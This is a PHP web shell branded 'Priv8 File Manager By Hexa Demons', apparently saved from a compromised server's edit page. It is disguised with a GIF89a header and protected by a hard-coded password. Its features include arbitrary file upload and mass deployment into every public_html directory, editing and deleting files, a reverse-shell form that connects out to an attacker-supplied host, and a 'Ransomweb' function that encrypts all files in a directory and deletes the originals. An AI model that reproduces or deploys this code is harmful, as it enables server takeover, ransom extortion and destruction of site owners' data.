Edit File: hexa.php
<?php /* GIF89a */ // Simple password protection $password = 'Hexa'; // Set your password here session_start(); if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password'])) { if ($_POST['password'] === $password) { $_SESSION['logged_in'] = true; } else { $login_error = 'Invalid password!'; } } if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) { ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Login - Priv8 File Manager</title> <style> body { background: #0a0a0a; color: #e0e0e0; font-family: 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif; display: flex; justify-content: center; align-items: center; height: 100vh; margin: 0; background-image: radial-gradient(circle at 10% 20%, #000000 0%, #0a0a0a 90%); } .login-container { background: rgba(15, 15, 15, 0.9); padding: 30px; border-radius: 10px; border: 1px solid #333333; box-shadow: 0 4px 12px rgba(0, 0, 0, 0.5); width: 300px; text-align: center; } h2 { color: #ff4d88; text-shadow: 0 2px 3px rgba(0,0,0,0.7); margin-bottom: 20px; } input[type="password"] { width: 100%; padding: 10px; margin: 10px 0; background: rgba(20, 20, 20, 0.9); color: #e0e0e0; border: 1px solid #444444; border-radius: 6px; font-size: 15px; } input[type="password"]:focus { border-color: #ff4d88; box-shadow: 0 0 8px rgba(255, 77, 136, 0.4); outline: none; } button { background: linear-gradient(to bottom, #ff4d88, #cc0066); color: #fff; border: none; padding: 10px; width: 100%; border-radius: 6px; font-weight: bold; cursor: pointer; text-shadow: 0 1px 1px rgba(0,0,0,0.4); transition: all 0.3s; } button:hover { background: linear-gradient(to bottom, #ff88aa, #ff4d88); transform: translateY(-2px); box-shadow: 0 4px 8px rgba(0,0,0,0.6); } .error { color: #ff6666; background: rgba(50, 0, 0, 0.4); padding: 10px; border-radius: 6px; border: 1px solid #aa0000; margin-top: 10px; } </style> </head> <body> <div class="login-container"> <h2>Login</h2> <form method="post"> <input type="password" name="password" placeholder="Enter Password" required> <button type="submit">Login</button> </form> <?php if (isset($login_error)): ?> <div class="error"><?= htmlspecialchars($login_error) ?></div> <?php endif; ?> </div> </body> </html> <?php exit; } } $home = $_SERVER['HOME'] ?? '/'; $path = isset($_GET['path']) ? realpath($_GET['path']) : getcwd(); if (!$path || !is_dir($path)) $path = getcwd(); $uploadSuccess = false; $fileLink = ''; $currentYear = date("Y"); $editContent = ''; $editTarget = ''; $massUploadSuccess = false; $actionMessage = ''; function h($str) { return htmlspecialchars($str, ENT_QUOTES); } // Handle POST requests if ($_SERVER['REQUEST_METHOD'] === 'POST') { // Handle Single File Upload if (isset($_FILES['upload'])) { $dest = $path . '/' . basename($_FILES['upload']['name']); // Validate file extension (basic security) $ext = strtolower(pathinfo($dest, PATHINFO_EXTENSION)); $allowedExts = ['txt', 'jpg', 'png', 'pdf', 'zip', 'html', 'php']; if (!in_array($ext, $allowedExts)) { $actionMessage = 'Error: Invalid file extension.'; } elseif (move_uploaded_file($_FILES['upload']['tmp_name'], $dest)) { $uploadSuccess = true; $fileLink = basename($dest); } else { $actionMessage = 'Error: Failed to upload file.'; } } // Handle Mass Directory Upload elseif (isset($_FILES['mass_upload'])) { $totalFiles = count($_FILES['mass_upload']['name']); $uploadedCount = 0; $uploadLocations = []; // Get all subdirectories in the current path $dirs = array_filter(glob($path . '/*'), 'is_dir'); if (empty($dirs)) { $dirs = [$path]; } // Process each uploaded file for ($i = 0; $i < $totalFiles; $i++) { if ($_FILES['mass_upload']['error'][$i] === UPLOAD_ERR_OK) { $tmpName = $_FILES['mass_upload']['tmp_name'][$i]; $name = basename($_FILES['mass_upload']['name'][$i]); $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION)); $allowedExts = ['txt', 'jpg', 'png', 'pdf', 'zip', 'html', 'php']; if (!in_array($ext, $allowedExts)) { $actionMessage = 'Error: Invalid file extension for ' . h($name) . '.'; continue; } // Upload to each directory foreach ($dirs as $dir) { $targetDir = $dir . '/public_html'; if (!is_dir($targetDir)) { $targetDir = $dir; } $dest = $targetDir . '/' . $name; // Ensure directory is writable if (!is_writable($targetDir)) { @chmod($targetDir, 0755); } if (!is_writable($targetDir)) { $actionMessage = 'Error: Directory ' . h($targetDir) . ' is not writable.'; continue; } if (copy($tmpName, $dest)) { $uploadedCount++; $uploadLocations[] = $dest; } } } } if ($uploadedCount > 0) { $massUploadSuccess = true; $fileLink = $uploadedCount . ' files uploaded across ' . count($dirs) . ' directories'; } } // Handle Directory Upload (ZIP) elseif (isset($_FILES['dir_upload'])) { $uploadedCount = 0; $dirName = basename($_FILES['dir_upload']['name']); $tmpDir = $_FILES['dir_upload']['tmp_name']; // Validate ZIP extension $ext = strtolower(pathinfo($dirName, PATHINFO_EXTENSION)); if ($ext !== 'zip') { $actionMessage = 'Error: Only ZIP files are allowed for directory upload.'; } else { $targetDir = $path . '/' . pathinfo($dirName, PATHINFO_FILENAME); if (!file_exists($targetDir)) { mkdir($targetDir, 0755, true); } $zip = new ZipArchive; if ($zip->open($tmpDir) === TRUE) { $zip->extractTo($targetDir); $zip->close(); $uploadedCount = count(glob($targetDir . '/*')); $fileLink = "Directory '$dirName' uploaded with $uploadedCount files"; } else { $actionMessage = 'Error: Failed to extract ZIP file.'; } } } // Handle Chmod elseif (isset($_POST['chmod'], $_POST['file'])) { $target = $path . '/' . $_POST['file']; if (file_exists($target)) { chmod($target, intval($_POST['chmod'], 8)); $actionMessage = 'Permissions updated for ' . h($_POST['file']); } } // Handle File Save elseif (isset($_POST['savefile'], $_POST['filename'])) { $target = $path . '/' . $_POST['filename']; if (file_put_contents($target, $_POST['savefile'])) { $actionMessage = 'File ' . h($_POST['filename']) . ' saved successfully.'; } } // Handle Rename elseif (isset($_POST['rename'], $_POST['oldname'])) { $old = $path . '/' . $_POST['oldname']; $new = $path . '/' . $_POST['rename']; if (rename($old, $new)) { $actionMessage = 'File renamed to ' . h($_POST['rename']); } } // Handle Reverse Shell elseif (isset($_POST['reverse_host'], $_POST['reverse_port'])) { $host = $_POST['reverse_host']; $port = (int)$_POST['reverse_port']; $shell = isset($_POST['reverse_shell']) ? $_POST['reverse_shell'] : '/bin/sh'; $cmd = "php -r '\$s=fsockopen(\"$host\",$port);" . "system(\"$shell <&3 >&3 2>&3\");' > /dev/null 2>&1 &"; exec($cmd); $actionMessage = 'Reverse shell connection initiated.'; } // Handle Lock Single File elseif (isset($_POST['lock_file'], $_POST['file_to_lock'])) { $target = $path . '/' . $_POST['file_to_lock']; if (file_exists($target)) { if (chmod($target, 0000)) { $actionMessage = 'File ' . h($_POST['file_to_lock']) . ' locked (permissions set to 0000).'; } else { $actionMessage = 'Error: Failed to lock file ' . h($_POST['file_to_lock']); } } } // Handle Delete All Files elseif (isset($_POST['delete_all_files'])) { $files = glob($path . '/*'); $deletedCount = 0; foreach ($files as $file) { if (is_file($file) && basename($file) !== basename($_SERVER['SCRIPT_FILENAME'])) { if (unlink($file)) { $deletedCount++; } } } $actionMessage = $deletedCount . ' files deleted.'; } // Handle DA/PA Check elseif (isset($_POST['check_da_pa'])) { $domain = $_POST['domain'] ?? ''; if (!empty($domain)) { $domain = preg_replace('/^https?:\/\//', '', $domain); $domain = trim($domain, '/'); // Check DA $daUrl = "https://www.alexa.com/siteinfo/" . urlencode($domain); $daContent = @file_get_contents($daUrl); $da = 'N/A'; if ($daContent !== false) { if (preg_match('/globalRank.*?(\d+,\d+,\d+)/s', $daContent, $matches)) { $da = str_replace(',', '', $matches[1]); } } // Check PA $paUrl = "https://www.moz.com/domain_analysis?site=" . urlencode($domain); $paContent = @file_get_contents($paUrl); $pa = 'N/A'; if ($paContent !== false) { if (preg_match('/Page Authority.*?(\d+)/s', $paContent, $matches)) { $pa = $matches[1]; } } $actionMessage = "Domain Authority (DA) Check for $domain: $da | Page Authority (PA) Check: $pa"; } else { $actionMessage = 'Error: Please enter a domain to check.'; } } // Handle Ransomware (Encrypt Files) elseif (isset($_POST['ransomweb'])) { $key = bin2hex(random_bytes(32)); // Generate encryption key $iv = bin2hex(random_bytes(16)); // Generate IV $encryptedCount = 0; $files = glob($path . '/*'); foreach ($files as $file) { if (is_file($file) && basename($file) !== basename($_SERVER['SCRIPT_FILENAME'])) { $content = file_get_contents($file); $encrypted = openssl_encrypt($content, 'AES-256-CBC', hex2bin($key), 0, hex2bin($iv)); if ($encrypted !== false) { file_put_contents($file . '.encrypted', $encrypted); unlink($file); $encryptedCount++; } } } $actionMessage = "$encryptedCount files encrypted. Decryption Key: $key | IV: $iv (Save these to decrypt)."; } // Handle Decrypt Files elseif (isset($_POST['decrypt_files'], $_POST['decryption_key'], $_POST['decryption_iv'])) { $key = $_POST['decryption_key']; $iv = $_POST['decryption_iv']; $decryptedCount = 0; $files = glob($path . '/*.encrypted'); foreach ($files as $file) { $content = file_get_contents($file); $decrypted = openssl_decrypt($content, 'AES-256-CBC', hex2bin($key), 0, hex2bin($iv)); if ($decrypted !== false) { $originalFile = substr($file, 0, -10); // Remove '.encrypted' file_put_contents($originalFile, $decrypted); unlink($file); $decryptedCount++; } else { $actionMessage = "Error: Failed to decrypt file " . basename($file) . ". Check your key and IV."; break; } } if ($decryptedCount > 0) { $actionMessage = "$decryptedCount files decrypted successfully."; } } } // Handle Edit if (isset($_GET['edit'])) { $editTarget = basename($_GET['edit']); $editPath = $path . '/' . $editTarget; if (is_file($editPath)) { $editContent = htmlspecialchars(file_get_contents($editPath)); } } // Handle Delete if (isset($_GET['delete'])) { $target = $path . '/' . basename($_GET['delete']); if (is_file($target)) { unlink($target); header("Location: ?path=" . urlencode($path)); exit; } } ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Priv8 File Manager By Hexa Demons</title> <style> body, input, button, textarea, select, table, h1, h2, h3, h4, h5, h6 { font-family: 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif; } body { background: #0a0a0a; color: #e0e0e0; padding: 20px; background-image: radial-gradient(circle at 10% 20%, #000000 0%, #0a0a0a 90%); } a { color: #ff4d88; text-decoration: none; transition: all 0.3s; } a:hover { color: #ff88aa; text-decoration: underline; text-shadow: 0 0 5px rgba(255, 77, 136, 0.5); } table { width: 100%; border-collapse: collapse; margin-top: 15px; background: rgba(10, 10, 10, 0.9); border: 1px solid #222222; box-shadow: 0 4px 12px rgba(0, 0, 0, 0.6); } th, td { padding: 10px 15px; border: 1px solid #333333; text-align: left; } th { background: rgba(30, 30, 30, 0.9); color: #ff4d88; text-shadow: 0 1px 1px #000; } tr:nth-child(even) { background: rgba(20, 20, 20, 0.8); } tr:hover { background: rgba(50, 50, 50, 0.6); } input, button, textarea, select { background: rgba(20, 20, 20, 0.9); color: #e0e0e0; border: 1px solid #444444; padding: 8px 15px; border-radius: 6px; margin: 6px 0; font-size: 15px; transition: all 0.3s; } input:focus, textarea:focus, select:focus { border-color: #ff4d88; box-shadow: 0 0 8px rgba(255, 77, 136, 0.4); outline: none; } button { background: linear-gradient(to bottom, #ff4d88, #cc0066); color: #fff; font-weight: bold; cursor: pointer; border: none; text-shadow: 0 1px 1px rgba(0,0,0,0.4); box-shadow: 0 2px 5px rgba(0,0,0,0.3); } button:hover { background: linear-gradient(to bottom, #ff88aa, #ff4d88); transform: translateY(-2px); box-shadow: 0 4px 8px rgba(0,0,0,0.6); } .breadcrumb a { color: #cc88ff; margin-right: 3px; } .breadcrumb span { color: #666666; margin: 0 4px; } .card { background: rgba(15, 15, 15, 0.9); padding: 20px; border-radius: 10px; border: 1px solid #333333; margin-top: 20px; box-shadow: 0 4px 12px rgba(0, 0, 0, 0.5); backdrop-filter: blur(4px); } textarea { width: 100%; height: 300px; margin-top: 10px; } footer { text-align: center; margin-top: 40px; color: #666666; font-size: 0.9em; text-shadow: 0 1px 1px #000; } h2 { color: #ff4d88; border-bottom: 2px solid #444444; padding-bottom: 12px; text-shadow: 0 2px 3px rgba(0,0,0,0.7); font-size: 28px; } .success, .error { color: #88ff88; background: rgba(0, 50, 0, 0.4); padding: 12px; border-radius: 6px; border: 1px solid #00aa00; margin-top: 15px; } .error { color: #ff6666; background: rgba(50, 0, 0, 0.4); border: 1px solid #aa0000; } .form-row { margin-bottom: 15px; } .form-row label { display: block; margin-bottom: 8px; color: #cc88ff; font-weight: bold; } .reverse-shell { border-left: 4px solid #ff4d88; } .dir-item { font-weight: bold; color: #ff88aa; } .file-item { color: #e0e0e0; } .dir-item:before { content: "📂 "; color: #ff4d88; } .actions { display: flex; gap: 8px; flex-wrap: wrap; } .action-btn { background: rgba(40, 40, 40, 0.9); color: #e0e0e0; border: 1px solid #444444; padding: 5px 12px; border-radius: 5px; font-size: 14px; text-decoration: none; cursor: pointer; transition: all 0.3s; display: inline-flex; align-items: center; } .action-btn:hover { background: rgba(60, 60, 60, 0.9); transform: translateY(-2px); box-shadow: 0 3px 6px rgba(0,0,0,0.4); } .toggle-header { cursor: pointer; display: flex; justify-content: space-between; align-items: center; padding: 12px 18px; background: rgba(30, 30, 30, 0.9); border-radius: 8px; margin: -20px -20px 20px -20px; border-bottom: 2px solid #444444; } .toggle-header h3 { margin: 0; color: #ff88aa; text-shadow: 0 1px 1px #000; } .toggle-icon { transition: transform 0.3s; color: #ff4d88; font-size: 20px; } .collapsed .toggle-icon { transform: rotate(180deg); } .collapsed .toggle-content { display: none; } .signature { position: fixed; bottom: 15px; right: 20px; font-size: 20px; color: #ff4d88; opacity: 0.75; font-weight: bold; text-shadow: 0 0 10px rgba(255, 77, 136, 0.8); transform: rotate(-5deg); z-index: 1000; transition: all 0.5s; } .signature:hover { opacity: 1; transform: rotate(0deg) scale(1.1); text-shadow: 0 0 20px rgba(255, 77, 136, 1); } .header-glow { text-shadow: 0 0 10px rgba(255, 77, 136, 0.7); } .hexa-demons { position: fixed; bottom: 15px; left: 20px; font-size: 18px; color: #ff0000; opacity: 0.9; font-weight: bold; text-shadow: 0 0 10px rgba(255, 0, 0, 0.8); z-index: 1000; transition: all 0.5s; } .hexa-demons:hover { opacity: 1; text-shadow: 0 0 20px rgba(255, 0, 0, 1); } .upload-options { display: flex; gap: 20px; flex-wrap: wrap; } .upload-option { flex: 1; min-width: 300px; background: rgba(30, 30, 30, 0.8); padding: 15px; border-radius: 8px; border: 1px dashed #444444; } .upload-option h4 { margin-top: 0; color: #ff88aa; border-bottom: 1px solid #444444; padding-bottom: 8px; } .file-input-wrapper { position: relative; overflow: hidden; display: inline-block; width: 100%; } .file-input-wrapper input[type=file] { font-size: 100px; position: absolute; left: 0; top: 0; opacity: 0; width: 100%; height: 100%; cursor: pointer; } .file-input-button { display: block; padding: 12px; background: rgba(40, 40, 40, 0.9); color: white; text-align: center; border-radius: 6px; border: 1px solid #444444; cursor: pointer; transition: all 0.3s; } .file-input-button:hover { background: rgba(60, 60, 60, 0.9); } .file-input-text { margin-top: 8px; font-size: 0.9em; color: #cc88ff; } .danger-btn { background: linear-gradient(to bottom, #ff3333, #990000); } .danger-btn:hover { background: linear-gradient(to bottom, #ff6666, #cc0000); } .da-pa-form { display: flex; gap: 10px; align-items: center; margin-top: 15px; } </style> <script> function toggleCollapse(element) { element.parentElement.classList.toggle('collapsed'); } function updateFileName(input, displayElement) { if (input.files.length > 0) { if (input.files.length > 1) { displayElement.textContent = input.files.length + ' files selected'; } else { displayElement.textContent = input.files[0].name; } } else { displayElement.textContent = 'No file chosen'; } } function confirmLock(fileName) { return confirm('Lock file ' + fileName + ' (set permissions to 0000)?'); } </script> </head> <body> <h2 class="header-glow">File Manager</h2> <!-- Change Directory --> <form method="get"> <div class="form-row"> <label>Current Directory:</label> <input type="text" name="path" value="<?= h($path) ?>" style="width:70%;"> <button type="submit">Go</button> </div> </form> <!-- Breadcrumbs --> <div class="breadcrumb"> <?php $crumbs = explode('/', trim($path, '/')); $accum = ''; echo '<a href="?path=/">/</a>'; foreach ($crumbs as $crumb) { $accum .= '/' . $crumb; echo '<span>/</span><a href="?path=' . urlencode($accum) . '">' . h($crumb) . '</a>'; } echo '<span>/</span><a href="?path=' . urlencode($home) . '">[ HOME ]</a>'; ?> </div> <!-- Parent Dir --> <?php if (dirname($path) !== $path): ?> <p><a href="?path=<?= urlencode(dirname($path)) ?>" class="action-btn">Parent Directory</a></p> <?php endif; ?> <!-- Upload Section --> <div class="card"> <div class="toggle-header" onclick="toggleCollapse(this)"> <h3>Upload Files</h3> <div class="toggle-icon">▼</div> </div> <div class="toggle-content"> <div class="upload-options"> <!-- Single File Upload --> <div class="upload-option"> <h4>Single File Upload</h4> <form method="post" enctype="multipart/form-data"> <div class="file-input-wrapper"> <button class="file-input-button">Choose File</button> <input type="file" name="upload" id="singleUpload" onchange="updateFileName(this, document.getElementById('singleFileText'))"> </div> <div id="singleFileText" class="file-input-text">No file chosen</div> <button type="submit" style="width:100%; margin-top:10px;">Upload</button> </form> </div> <!-- Multiple Files Upload --> <div class="upload-option"> <h4>Multiple Files Upload</h4> <form method="post" enctype="multipart/form-data"> <div class="file-input-wrapper"> <button class="file-input-button">Choose Files</button> <input type="file" name="mass_upload[]" id="multiUpload" multiple onchange="updateFileName(this, document.getElementById('multiFileText'))"> </div> <div id="multiFileText" class="file-input-text">No files chosen</div> <button type="submit" style="width:100%; margin-top:10px;">Upload All</button> </form> </div> <!-- Directory Upload --> <div class="upload-option"> <h4>Directory Upload (ZIP)</h4> <form method="post" enctype="multipart/form-data"> <div class="file-input-wrapper"> <button class="file-input-button">Choose ZIP File</button> <input type="file" name="dir_upload" id="dirUpload" accept=".zip" onchange="updateFileName(this, document.getElementById('dirFileText'))"> </div> <div id="dirFileText" class="file-input-text">No file chosen</div> <button type="submit" style="width:100%; margin-top:10px;">Upload & Extract</button> </form> </div> </div> <?php if ($fileLink): ?> <div class="success"><?= h($fileLink) ?></div> <?php endif; ?> </div> </div> <!-- Management Actions --> <div class="card"> <div class="toggle-header" onclick="toggleCollapse(this)"> <h3>Management Actions</h3> <div class="toggle-icon">▼</div> </div> <div class="toggle-content"> <form method="post" style="display:inline;"> <button type="submit" name="delete_all_files" class="action-btn danger-btn" onclick="return confirm('Delete ALL files in this directory (except this script)?')">Delete All Files</button> </form> <form method="post" style="display:inline;"> <button type="submit" name="ransomweb" class="action-btn danger-btn" onclick="return confirm('Encrypt all files in this directory (except this script)?')">Ransomweb</button> </form> <form method="post"> <div class="form-row"> <label>Decrypt Files:</label> <input type="text" name="decryption_key" placeholder="Enter decryption key" style="width:40%;"> <input type="text" name="decryption_iv" placeholder="Enter IV" style="width:40%;"> <button type="submit" name="decrypt_files" class="action-btn">Decrypt Files</button> </div> </form> <form method="post" class="da-pa-form"> <input type="text" name="domain" placeholder="Enter domain to check DA/PA" required> <button type="submit" name="check_da_pa" class="action-btn">Check DA/PA</button> </form> </div> <?php if ($actionMessage): ?> <div class="<?= strpos($actionMessage, 'Error') === 0 ? 'error' : 'success' ?>"><?= h($actionMessage) ?></div> <?php endif; ?> </div> <!-- Reverse Shell --> <div class="card reverse-shell collapsed"> <div class="toggle-header" onclick="toggleCollapse(this)"> <h3>Reverse Shell Connection</h3> <div class="toggle-icon">▼</div> </div> <div class="toggle-content"> <form method="post"> <div class="form-row"> <label>Host:</label> <input type="text" name="reverse_host" placeholder="attacker-ip" required> </div> <div class="form-row"> <label>Port:</label> <input type="number" name="reverse_port" placeholder="4444" required> </div> <div class="form-row"> <label>Shell Type:</label> <select name="reverse_shell"> <option value="/bin/sh">/bin/sh</option> <option value="/bin/bash">/bin/bash</option> <option value="cmd.exe">cmd.exe (Windows)</option> <option value="powershell">PowerShell</option> </select> </div> <button type="submit">Connect Reverse Shell</button> </form> </div> </div> <!-- Edit File --> <?php if ($editTarget): ?> <div class="card"> <h3>Editing: <?= h($editTarget) ?></h3> <form method="post"> <input type="hidden" name="filename" value="<?= h($editTarget) ?>"> <textarea name="savefile"><?= $editContent ?></textarea><br> <button type="submit">Save Changes</button> </form> </div> <?php endif; ?> <!-- File List --> <div class="card"> <table> <tr> <th>Name</th><th>Size (kB)</th><th>Modified</th><th>Perms</th><th>Actions</th> </tr> <?php $items = scandir($path); $dirs = $files = []; foreach ($items as $item) { if ($item === '.') continue; if (is_dir($path . '/' . $item)) { $dirs[] = $item; } else { $files[] = $item; } } $all = array_merge($dirs, $files); foreach ($all as $item) { $full = $path . '/' . $item; $isDir = is_dir($full); $perm = substr(sprintf('%o', fileperms($full)), -4); $mtime = filemtime($full); $size = $isDir ? '-' : round(filesize($full) / 1024, 2); $date = date("Y-m-d H:i", $mtime); echo '<tr>'; echo '<td class="' . ($isDir ? 'dir-item' : 'file-item') . '">'; if ($isDir) { echo '<a href="?path=' . urlencode($full) . '">' . h($item) . '</a>'; } else { echo h($item); } echo '</td>'; echo "<td>$size</td><td>$date</td>"; echo '<td> <form method="post" style="display:inline;"> <input type="hidden" name="file" value="' . h($item) . '"> <input type="text" name="chmod" value="' . $perm . '" size="4"> <button>Set</button> </form> </td>'; echo '<td class="actions">'; if (!$isDir) { echo '<a href="?path=' . urlencode($path) . '&edit=' . urlencode($item) . '" class="action-btn">Edit</a>'; echo '<a href="?path=' . urlencode($path) . '&delete=' . urlencode($item) . '" onclick="return confirm(\'Delete this file?\')" class="action-btn">Delete</a>'; echo '<a href="' . h($item) . '" download class="action-btn">Download</a>'; echo '<form method="post" style="display:inline;"> <input type="hidden" name="oldname" value="' . h($item) . '"> <input type="text" name="rename" value="' . h($item) . '" size="12"> <button class="action-btn">Rename</button> </form>'; echo '<form method="post" style="display:inline;"> <input type="hidden" name="file_to_lock" value="' . h($item) . '"> <button type="submit" name="lock_file" class="action-btn" onclick="return confirmLock(\'' . h($item) . '\')">Lock</button> </form>'; } else { echo '-'; } echo '</td></tr>'; } ?> </table> </div> <footer> © <?= $currentYear ?> | Priv8 File Manager By Hexa Demons (Creator: Demons) </footer> <div class="hexa-demons">Hexa Demons</div> <div class="signature">Demons</div> </body> </html>
Back